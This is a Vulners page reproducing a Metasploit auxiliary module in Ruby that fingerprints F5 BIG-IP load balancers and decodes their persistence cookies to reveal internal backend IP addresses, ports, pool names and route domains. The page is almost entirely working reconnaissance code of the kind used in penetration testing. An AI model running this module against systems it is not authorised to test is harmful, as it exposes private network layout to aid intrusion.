Lucene search
K

F5 BIG-IP Backend Cookie Disclosure

This module identifies F5 BIG-IP load balancers and leaks backend information through cookies

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP Backend Cookie Disclosure',
        'Description' => %q{
          This module identifies F5 BIG-IP load balancers and leaks backend information
          (pool name, routed domain, and backend servers' IP addresses and ports) through
          cookies inserted by the BIG-IP systems.
        },
        'Author' => [
          'Thanat0s <thanspam[at]trollprod.org>',
          'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
          'Nikita Oleksov <neoleksov[at]gmail.com>',
          'Denis Kolegov <dnkolegov[at]gmail.com>',
          'Paul-Emmanuel Raoul <[email protected]>'
        ],
        'References' => [
          ['URL', 'https://support.f5.com/csp/article/K6917'],
          ['URL', 'https://support.f5.com/csp/article/K7784'],
          ['URL', 'https://support.f5.com/csp/article/K14784'],
          ['URL', 'https://support.f5.com/csp/article/K23254150']
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),
        OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
        OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
      ]
    )
  end

  def change_endianness(value, size = 4)
    conversion = nil
    if size == 4
      conversion = [value].pack('V').unpack('N').first
    elsif size == 2
      conversion = [value].pack('v').unpack('n').first
    end
    conversion
  end

  def cookie_decode(cookie_value)
    backend = {}
    if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
      host = Regexp.last_match(1).to_i
      port = Regexp.last_match(2).to_i
      host = change_endianness(host)
      host = Rex::Socket.addr_itoa(host)
      port = change_endianness(port, 2)
    elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host)
    elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host, true)
      port = change_endianness(port, 2)
    elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
      host = Regexp.last_match(1).to_i(16)
      port = Regexp.last_match(2).to_i
      host = Rex::Socket.addr_itoa(host, true)
    else
      host = nil
      port = nil
    end

    backend[:host] = host.nil? ? nil : host
    backend[:port] = port.nil? ? nil : port
    backend
  end

  def fetch_cookie
    # Request a page and extract a F5 looking cookie
    cookie = {}
    res = send_request_raw('method' => 'GET', 'uri' => @uri)

    unless res.nil?
      # Get the SLB session IDs for all cases:
      # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
      # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
      # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
      # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"

      regexp = /
        ([~.\-\w]+)=(((?:\d+\.){2}\d+)|
        (rd\d+o0{20}f{4}\w+o\d{1,5})|
        (vi([a-f0-9]{32})\.(\d{1,5}))|
        (rd\d+o([a-f0-9]{32})o(\d{1,5})))
        (?:$|,|;|\s)
      /x
      m = res.get_cookies.match(regexp)
      cookie[:id] = m.nil? ? nil : m[1]
      cookie[:value] = m.nil? ? nil : m[2]
    end
    cookie
  end

  def run
    requests = datastore['REQUESTS']
    backends = []
    cookie_name = ''
    pool_name = ''
    route_domain = ''
    @uri = normalize_uri(target_uri.path.to_s)
    print_status("Starting request #{@uri}")

    (1..requests).each do |i|
      cookie = fetch_cookie # Get the cookie
      # If the cookie is not found, stop process
      if cookie.empty? || cookie[:id].nil?
        print_error('F5 BIG-IP load balancing cookie not found')
        return nil
      end

      # Print the cookie name on the first request
      if i == 1
        cookie_name = cookie[:id]
        print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")
        if cookie[:id].start_with?('BIGipServer')
          pool_name = cookie[:id].split('BIGipServer')[1]
          print_good("Load balancing pool name \"#{pool_name}\" found")
        end
        if cookie[:value].start_with?('rd')
          route_domain = cookie[:value].split('rd')[1].split('o')[0]
          print_good("Route domain \"#{route_domain}\" found")
        end
      end

      backend = cookie_decode(cookie[:value])
      unless backend[:host].nil? || backends.include?(backend)
        print_good("Backend #{backend[:host]}:#{backend[:port]} found")
        backends.push(backend)
      end
    end

    # Reporting found cookie name in database
    unless cookie_name.empty?
      report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)
      # Reporting found pool name in database
      unless pool_name.empty?
        report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)
      end
      # Reporting found route domain in database
      unless route_domain.empty?
        report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)
      end
    end
    # Reporting found backends in database
    unless backends.empty?
      report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
    end
  rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError
    print_error('Network connection error')
  rescue ::OpenSSL::SSL::SSLError
    print_error('SSL/TLS connection error')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2022 17:17Current
0.7Low risk
Vulners AI Score0.7
40